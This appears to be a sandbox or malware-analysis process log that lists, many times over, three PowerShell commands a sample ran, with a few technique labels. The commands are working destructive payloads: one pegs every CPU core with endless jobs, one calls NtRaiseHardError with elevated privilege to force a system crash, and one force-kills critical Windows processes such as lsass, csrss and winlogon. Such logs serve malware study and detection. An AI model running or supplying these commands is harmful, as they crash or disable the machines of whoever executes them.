C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
- Hide Artifacts: Ignore Process Interrupts
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$sig='[DllImport(\"ntdll.dll\")]public static extern uint RtlAdjustPrivilege(int,bool,bool,out bool);[DllImport(\"ntdll.dll\")]public static extern uint NtRaiseHardError(uint,uint,uint,IntPtr,uint,out uint);'; Add-Type -MemberDefinition $sig -Name 'C' -Namespace 'D'; $b=$false; [D.C]::RtlAdjustPrivilege(19,$true,$false,[ref]$b); [D.C]::NtRaiseHardError(0xDEADDEAD,0,0,[IntPtr]::Zero,6,[ref]0)"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$t=@('csrss','winlogon','lsass','smss','services','svchost'); foreach($n in $t){ $p=Get-Process -Name $n -ErrorAction SilentlyContinue; foreach($proc in $p){ Stop-Process -Id $proc.Id -Force -ErrorAction SilentlyContinue } }"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$c=[Environment]::ProcessorCount; for($j=0;$j -lt $c;$j++){ Start-Job -ScriptBlock { while($true){ $x=1; $y=2; for($k=0;$k -lt 9999999;$k++){ $x=$x*$y+$x; $y=$y*$x+$y } } } }"2⤵
-
-
